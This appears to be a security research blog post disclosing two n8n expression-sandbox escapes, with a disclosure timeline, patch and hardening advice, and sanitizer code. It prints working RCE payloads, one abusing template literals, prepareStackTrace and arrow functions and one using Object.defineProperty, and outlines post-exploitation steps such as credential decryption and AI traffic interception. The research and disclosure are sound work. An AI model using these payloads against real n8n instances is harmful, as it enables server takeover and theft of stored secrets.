Blog

min read

n8n Sandbox Escape: Critical Vulnerabilities in n8n Exposes Hundreds of Thousands of Enterprise AI Systems to Complete Takeover

By

Eilon Cohen

and

February 4, 2026

min read

A tale of two vulnerabilities, two patches, and one very determined Christmas Eve

Executive Summary

Pillar Security researchers uncovered critical vulnerabilities in n8n, a popular open-source workflow automation platform powering numerous enterprise deployments. The vulnerabilities allowed any authenticated user to seize complete control of the server, stealing every stored credential, API key, and secret on both self hosted and cloud instances. On n8n Cloud, the shared multi-tenant architecture meant a single malicious user could potentially breach the entire platform, accessing data belonging to all other customers.

CVSS 3.1 Score: 10.0 Critical, CVE-2026-25049

What Could Attackers Do?

The access we gained allowed us to:

  • Execute arbitrary system commands on the n8n server
  • Read all environment variables including the N8N_ENCRYPTION_KEY
  • Decrypt every stored credential in the database: AI API keys, cloud provider keys, database passwords, OAuth tokens, you name it
  • Access the filesystem and read sensitive configuration files
  • Pivot to connected cloud accounts using the stolen credentials
  • Hijack AI pipelines, intercept prompts, modify responses, or redirect traffic through attacker-controlled endpoints
  • On n8n Cloud specifically: access internal services like secrets-api, hooks-api, and the internal npm registry within their Kubernetes cluster

The attack requires nothing special. If you can create a workflow, you can own the server.

The Attack Surface

Workflow automation runs the modern enterprise now. What used to require developers writing custom code now happens through drag-and-drop interfaces. Connect your CRM to your database, your database to Slack, Slack to everything. At the heart of the revolution sits n8n, powering hundreds of thousands of self-hosted instances and a rapidly growing managed cloud service.

The workflows aren't just shuffling data between apps anymore. They're orchestrating agentic workflows, and LLM-powered applications. n8n has become a popular platform for connecting enterprise systems with AI services.

But platforms that execute user-provided code always have a sandbox somewhere. And where there's a sandbox, someone will find a way out.

We found two ways out.

The Research Begins

n8n occupies a unique position in the automation landscape. Unlike purely no-code platforms, it embraces JavaScript expressions directly in its workflow nodes. These days, that flexibility is exactly why it's become the backbone of AI agent orchestration components for various AI-powered automation workflows.

What Are n8n Expressions?

Expressions are n8n's way of letting users dynamically reference and transform data within workflows. Any input field in any node can switch from "Fixed" mode to "Expression" mode, unlocking the ability to write JavaScript that gets evaluated at runtime.

The syntax is straightforward: wrap your JavaScript in ={{ }}. For example:

  • ={{ $json.email.toLowerCase() }} —> transform an email to lowercase
  • ={{ $now.format('yyyy-MM-dd') }} —> get the current date
  • ={{ $input.first().json.orderId }} —> grab a field from the previous node's output

n8n provides built-in variables ($json, $input, $now, $env, etc.) and functions to make common operations easy. It's designed to feel like writing simple JavaScript, because it is JavaScript—evaluated server-side in a Node.js environment.

This power comes with responsibility. The expressions run on the server, which means n8n needs a robust sandbox to prevent users from accessing the underlying system. After all, you don't want someone's "lowercase email" expression to suddenly start reading /etc/passwd.

Our research began with a simple question: How does n8n's sandbox actually work?

The expression syntax itself caught our attention. Everything between ={{ and }} gets evaluated as JavaScript. That's a lot of attack surface. We started by mapping the sandbox's boundaries—what's allowed, what's blocked, and what happens at the edges.

Understanding n8n's Security Model

n8n's expression sandbox is actually quite sophisticated. It runs every expression through multiple security layers: blocking dangerous globals like eval and require, parsing your code into an AST, and rewriting anything that looks suspicious before execution.

The key component is the PrototypeSanitizer. It maintains a denylist of dangerous properties:

const unsafeObjectProperties = new Set([
    '__proto__',
    'prototype',
    'constructor',
    'getPrototypeOf',
    'prepareStackTrace',  // Remember this one
    // ...
]);

Try to access anything on this list? Blocked. Try to use bracket notation with a variable? Wrapped in a runtime check. The sandbox is genuinely well-designed.

Then we found the gaps.

For the full five-layer architecture breakdown, see Technical Deep Dive in the end of this blog.

Bug #1: The Three Flaws Chain

December 21, 2025

Our first breakthrough came from understanding how JavaScript lets you access object properties. Say you have a simple object:

const user = { name: "Alice", role: "admin" };

JavaScript gives you multiple ways to read that name property:

user.name          // dot notation
user['name']       // bracket with string
user[`name`]       // bracket with template literal
user[variable]     // bracket with variable

They all do the same thing. But the sanitizer didn't treat them the same way.

It checked dot notation. It checked strings in brackets. It even wrapped variables in a runtime check. But template literals, those backtick strings? The sanitizer looked right past them.

Why? Because internally, JavaScript represents 'name' and name as different things. The sanitizer was looking for one, not the other. A classic case of "same behavior, different implementation."

This meant we could access any blocked property by simply using backticks instead of quotes:

// Blocked:
Error['prepareStackTrace']

// Not blocked:
Error[`prepareStackTrace`]

But bypassing a blocklist is just step one. We needed to actually escape the sandbox.

Here's where prepareStackTrace gets interesting. It's a V8 hook that lets you customize error stack traces. Normally, when you do new Error().stack, you get a string. But if you define Error.prepareStackTrace, V8 calls your function instead, and passes it the raw stack frame objects.

Those stack frame objects have a method called getThis(). And getThis() on the top frame returns... the real global object. The one outside the sandbox.

We had our escape hatch.

The final piece was arrow functions. The sandbox neutralizes this inside functions to prevent access to the global scope, but only for traditional function expressions. Arrow functions? Different AST node type. The sanitizer just... didn't check for them.

// Sanitized – this gets neutralized
(function() { return this.process })()

// Not sanitized – arrow functions inherit this from outer scope
(() => { return this.process })()

You can probably see where this is going.

For the implementation details, see Technical Deep Dive in the end of this blog.

Chain them together and you get:

={{(() => {
  Error[`prepareStackTrace`] = (e, stack) => {
    const g = stack[0].getThis();
    const p = g.global.process;
    const cp = p[`getBuiltinModule`](`child_process`);
    return cp.execSync(`id`).toString();
  };
  return new Error().stack;
})()}}

Result: uid=1000(node) gid=1000(node) groups=1000(node)

We had command execution.

Impact: From Expression to Weaponization

The moment we achieved RCE, we started mapping what was accessible. On a self-hosted instance running in Docker:

Immediate Access:

  • All environment variables including N8N_ENCRYPTION_KEY
  • Full filesystem access (within container)
  • Network access to internal services
  • The SQLite database with all workflow data

Credential Decryption:

n8n encrypts stored credentials using AES with the N8N_ENCRYPTION_KEY. Once we extracted the key we could decrypt every credential stored in the database. AWS keys, database passwords, API tokens, OAuth secrets. Everything.

n8n Cloud Impact:

The same vulnerability worked on n8n Cloud (version 2.0.3-exp.0 at the time of testing). The output indicated a cloud-hosted environment with shared infrastructure.

Internal service discovery revealed:

  • secrets-api - Secrets management
  • hooks-api - Webhook handling
  • Internal packages registry

What makes n8n Cloud particularly juicy? The AI workloads. Organizations using n8n Cloud for AI orchestration store their OpenAI keys, Anthropic credentials, and vector DB connections right there, all protected by the same sandbox we just bypassed.

The cloud environment showed evidence of defense-in-depth - Cloud metadata endpoint was blocked, service account tokens were restricted, and the container ran as non-root. But the core vulnerability still allowed accessing everything within the n8n process's scope.

The Multi-Tenant Attack Surface:

The same vulnerability that affects the open-source version creates a much larger blast radius in a multi-tenant cloud environment. One compromised tenant can potentially pivot to shared infrastructure, internal APIs, and in the worst case - other customers' data.

Attack Demonstration

What you're seeing:

  1. The workflow overview — A standard business automation: webhook receives form data, validates fields, scores the lead, and routes notifications to Slack. Nothing suspicious at first glance.
  2. Inside the vulnerable node — We open the "Calculate Lead Score" expression. Buried within legitimate lead-scoring logic—checking for business emails, calculating priority scores—sits the payload. The metadata field doesn't fetch enrichment data. It escapes the sandbox and executes id on the server.
  3. Triggering the workflow
  4. The result — The node output reveals uid=1000(node) gid=1000(node) groups=1000(node). That's not lead data. That's the n8n server telling us who it's running as. Replace id with any command—read environment variables, dump credentials, pivot to connected systems.

The entire attack fits inside what looks like a data transformation. No special permissions required. No admin access- just a user who can edit workflows.

Patch Day - December 23rd

We reported the vulnerability to n8n's security team on December 21st. Their response was impressive, acknowledgment within hours, a fix deployed by December 23rd. That's a 48-hour turnaround during the holiday season.

PR #23560 added template literal handling to the PrototypeSanitizer. The sandbox was sealed. The bug was dead.

We moved on.

...

Okay, we didn't move on. We stared at the fix. Something felt incomplete.

The patch addressed template literals—a specific syntax for accessing properties. But the real problem was deeper: the sanitizer assumed that all property access happens through MemberExpression nodes (like obj.prop or obj['prop']).

What if there was another way to write to a property without using member access at all?

Bug #2: Christmas Eve Surprise

December 24, 2025

While normal people prepared for holiday celebrations, we were doing what security researchers do: poking at things that supposedly don't poke back anymore.

The patch blocked template literals. Great. But what else can write to a property?

Object.defineProperty().

Oh no.

The sanitizer watches for property access. When it sees Error['prepareStackTrace'], alarm bells ring—that's a blocked property being accessed.

But Object.defineProperty(Error, 'prepareStackTrace', {...})? That's not property access. That's a function call. The dangerous string is just an argument, no different from any other string. The sanitizer doesn't look inside function arguments.

// Blocked – property access
Error['prepareStackTrace'] = evil;

// Not blocked – function call with string argument
Object.defineProperty(Error, 'prepareStackTrace', { value: evil });

Same effect. Different syntax. The sandbox had a blind spot the size of the entire Object API.

For the full AST breakdown of why this matters, see Technical Deep Dive in the end of this blog.

The Bypass Payload:
={{(() => {
  Object.defineProperty(Error, 'prepareStackTrace', {
    value: (e, stack) => {
      const g = stack[0].getThis();
      const p = g.global.process;
      const cp = p.getBuiltinModule('child_process');
      return cp.execSync('id').toString();
    },
    configurable: true
  });
  return new Error().stack;
})()}}

Same result. Full RCE. The patch didn't even slow us down.

We reported the bypass immediately. The n8n team acknowledged it on December 30th - and this time, we collaborated with n8n to help them develop a fix. The fix addressed the root cause which was shipped in version 2.4.0.

Why the First Patch Failed

The patch fixed template literals. But template literals were just one way to access a blocked property.

JavaScript has many ways to interact with object properties:

  • obj.prop / obj['prop'] checked
  • Object.defineProperty() not checked
  • Object.getOwnPropertyDescriptor() not checked
  • Object.setPrototypeOf() not checked
  • Reflect.* methods not checked

The sanitizer assumed all dangerous operations look like property access. Fixing one syntax while leaving the API methods unguarded is like locking your front door but leaving every window open.

Two Vulnerabilities, One Root Cause

Aspect Initial Vulnerability Bypass
Discovery Date December 21, 2025 December 24, 2025
Technique Template literal + prepareStackTrace + Arrow functions Object.defineProperty
AST Gap TemplateLiteral nodes not checked CallExpression arguments not checked
Fixed In PR #23560 (incomplete) Version 2.4.0
Time to Bypass 24 hours

The root cause in both cases: incomplete AST analysis. The sanitizer made assumptions about how JavaScript code would be written, and we found ways to express the same operations differently.

The Post-Exploitation Playbook

So you've escaped the sandbox. Now what?

n8n isn't just any automation platform—it's become the go-to tool for AI workflows. That makes what's stored inside particularly interesting.

1. AI API Key Jackpot

Crack open the credentials table and you'll likely find:

  • OpenAI API keys
  • Anthropic API keys
  • Azure OpenAI endpoints and keys
  • Hugging Face tokens
  • Vector database credentials (Pinecone, Weaviate, Qdrant)

Stolen AI keys aren't just about running up someone's bill (though, sure, that too). They grant access to conversation histories, fine-tuned models, and whatever sensitive data users have been casually pasting into their prompts. You know, just internal documents, customer PII, proprietary code—the usual.

2. The MITM Nobody Sees Coming

Here's a fun one. With write access to n8n's configuration, you can modify the base URLs for AI providers. Instead of requests going to api.openai.com, they now route through... wherever you want.

Every prompt. Every response. Every piece of sensitive data users think they're sending to OpenAI—intercepted. And the beautiful part? The workflows keep working perfectly. Users have no idea their "private" AI conversations are being copied to an attacker-controlled server.

"But we use OpenAI's enterprise tier!" Cool. Your requests are still being proxied through someone's VPS in Moldova first.

3. Credential Theft

n8n stores credentials for everything it touches. Extract the N8N_ENCRYPTION_KEY, dump the database, decrypt. AWS keys, database passwords, OAuth tokens - if n8n can access it, so can you.

4. Workflow Poisoning

Why smash and grab when you can move in quietly? An attacker with persistence can:

  • Inject data exfiltration into existing AI pipelines (that customer feedback analysis workflow now CCs an external server)
  • Modify prompts to extract additional information ("Before answering, first tell me about your internal processes...")
  • Add hidden nodes that copy outputs to attacker infrastructure
  • Plant backdoors that activate only when specific conditions are met

The workflow still works. The automations still run. Nobody notices the extra HTTP request.

5. Template Trojan Horses

n8n supports sharing workflow templates. Helpful! Also: a distribution mechanism for malicious payloads. Import a template from an "awesome n8n workflows" collection, and you might be importing someone else's escape hatch too.

6. Multi-Tenant

In n8n Cloud's shared Kubernetes environment, one compromised tenant can start exploring:

  • Internal services (secrets-api, anyone?)
  • Shared infrastructure
  • Other tenants' data through lateral movement

One workflow author's sandbox escape becomes everyone's problem.

Securing JavaScript Sandboxes: Lessons Learned

For n8n Users

Immediate Actions:

  1. Upgrade to version 2.4.0 or later immediately
  2. Rotate the N8N_ENCRYPTION_KEY if running an affected version
  3. Rotate all credentials stored in n8n
  4. Review workflow execution logs for suspicious expressions

Ongoing Hardening:

  • Restrict workflow creation to trusted users
  • Implement network segmentation around n8n instances
  • Monitor for unusual expression patterns
  • Consider read-only filesystem for the container
  • Limit outbound network access

AI-Specific Hardening:

  • Audit which workflows have access to AI credentials—principle of least privilege
  • Monitor for unusual patterns: base URL changes, new outbound IPs, modified prompts
  • If your workflows touch sensitive data, sandbox them from AI-connected workflows
  • Consider separate n8n instances for AI workloads with stricter network controls

For Platform Developers

If you're building expression evaluation into your platform:

  1. AST analysis must cover all node types — not just MemberExpression. CallExpression arguments are a blind spot.
  2. Block dangerous Object methodsdefineProperty, getOwnPropertyDescriptor, setPrototypeOf, and their friends.
  3. Consider isolation at the runtime level — V8 isolates, WebAssembly sandboxing, or separate processes. AST rewriting will always have edge cases.
  4. Test patches against alternative syntaxes — if you block one way to do something, ask what other ways exist.

For implementation patterns and code examples, see Technical Deep Dive in the end of this blog.

Industry Lessons

1. Symptom-based patches leave vulnerabilities open

When you fix "template literals bypass the check," you need to ask: "What else bypasses the check?" The answer is usually "more than you think."

2. Expression evaluation is inherently dangerous

Any system that executes user-provided code is one edge case away from compromise. The more flexible the expression language, the larger the attack surface.

3. Multi-tenant platforms need infrastructure-level isolation

Application-level sandboxes will always have bugs. Defense-in-depth requires isolation at multiple levels—containers, networks, IAM policies, and more.

4. Your AI security posture is only as strong as your weakest orchestration layer

All those prompt injection defenses, output filters, and model monitors? They assume they're receiving legitimate requests. Compromise the workflow layer and you're feeding the AI whatever you want—from a "trusted" source. The AI doesn't know the difference.

Disclosure Timeline

Date Event
December 21, 2025 Initial vulnerability chain discovered (template literals + prepareStackTrace + arrow functions)
December 21, 2025 Report submitted to n8n security team
December 22, 2025 n8n confirms vulnerability and cloud impact
December 23, 2025 n8n deploys initial fix (PR #23560), rotates secrets
December 24, 2025 Object.defineProperty bypass discovered and reported
December 25, 2025 Comprehensive fix submitted by Pillar (PR #23968)
December 30, 2025 n8n verifies bypass
January 2026 Version 2.4.0 released with comprehensive fix
February 4, 2026 Coordinated public disclosure

Key Takeaways

Two vulnerabilities, one root cause: an AST sanitizer that didn't sanitize everywhere it needed to.

The n8n team deserves recognition for their rapid response—fixing critical vulnerabilities over the holidays isn't fun, and they did it professionally and thoroughly. Version 2.4.0 addresses the architectural issue, not just the symptoms.

For the rest of us, this research is a reminder: if your platform executes user-provided code, your sandbox is a target. And the attackers have all the time in the world to find the gaps.

This finding reinforces a broader pattern we've observed across AI-powered development tools: sanitization-based security controls are fundamentally limited when code execution is expected behavior. As we documented in our research on Cursor's command execution vulnerabilities, allowlists and input sanitization work well for web applications where users have no reason to input code—but AI coding tools expect code as input, which expands the attack surface in ways that sanitizers struggle to cover. The more robust approach is execution isolation: sandboxing the runtime environment itself rather than trying to anticipate every dangerous input pattern.

Workflow automation is expanding - and as long as these platforms become more embedded in enterprise infrastructure, the stakes of a sandbox escape grow with them. And here's the thing about guardrails, prompt injection filters, and model monitoring tools your security team deployed? They're all downstream. Compromise the orchestration layer and you're sitting upstream of every protection they thought they had.

Patch your n8n. Rotate your credentials. And maybe, just maybe, think twice before trusting that expression evaluation is safe.

Technical Deep Dive

Implementation details for security researchers and platform developers. The main narrative stands alone—this section is for those who want to go deeper.

n8n's Five-Layer Sandbox Architecture

Each expression passes through:

1.Context Initialization — Curated globals. Object, Array, Math are in. eval, Function, require, Reflect, Proxy are out.

2. AST Parsing — Uses esprima to convert the expression into a syntax tree. This is where the real security logic lives.

3. Before HooksFunctionThisSanitizer transforms IIFEs to bind an empty context:

(function(){...})()  (...).call({process:{}})

4. After HooksPrototypeSanitizer blocks dangerous property access. DollarSignValidator ensures $ is only used correctly.

5. Code Generation & Execution — The transformed AST is converted back to code and executed in the sandboxed context.

The Arrow Function Oversight

The FunctionThisSanitizer only handles FunctionExpression nodes:

if (node.callee.type !== 'FunctionExpression') {
  this.traverse(path);
  return;  // ArrowFunctionExpression passes through untouched
}

Arrow functions create ArrowFunctionExpression nodes. They inherit this from their enclosing scope—and the sanitizer never touches them.

AST Analysis: MemberExpression vs CallExpression

Here's what the sanitizer sees for Error['prepareStackTrace'] = x:

AssignmentExpression
├─ left: MemberExpression
│  ├─ object: Identifier (Error)
│  └─ property: StringLiteral ('prepareStackTrace') ← CHECKED

And for Object.defineProperty(Error, 'prepareStackTrace', {...}):

CallExpression
├─ callee: MemberExpression (Object.defineProperty) ← property 'defineProperty' is allowed
└─ arguments:
   ├─ Identifier: Error
   ├─ StringLiteral: 'prepareStackTrace' ← NOT CHECKED (it's just an argument)
   └─ ObjectExpression: {...}

The sanitizer checks the property field of MemberExpression nodes. It never examines CallExpression.arguments. The blocked string passes right through.

Implementing Secure AST Sanitization

If you're building similar defenses:

// Don't just check MemberExpression
visitMemberExpression(path) {
  if (isDangerous(path.node.property)) block();
}

// Also check CallExpression arguments for dangerous patterns
visitCallExpression(path) {
  if (isDangerousMethod(path.node.callee)) {
    for (const arg of path.node.arguments) {
      if (isStringWithDangerousValue(arg)) block();
    }
  }
}

Methods to block or inspect:

const dangerousMethods = new Set([
  'defineProperty',
  'defineProperties',
  'getOwnPropertyDescriptor',
  'getOwnPropertyDescriptors',
  'setPrototypeOf',
  '__defineGetter__',
  '__defineSetter__',
]);

Subscribe and get the latest security updates

Back to blog

MAYBE YOU WILL FIND THIS INTERSTING AS WELL

Caught in the Wild: Real Attack Traffic Targeting Exposed Clawdbot Gateways

By

Ariel Fogel

and

Eilon Cohen

January 29, 2026

Research
Operation Bizarre Bazaar: First Attributed LLMjacking Campaign with Commercial Marketplace Monetization

By

Eilon Cohen

and

Ariel Fogel

January 28, 2026

Research
The Agent Security Paradox: When Trusted Commands in Cursor Become Attack Vectors

By

Dan Lisichkin

and

January 14, 2026

Research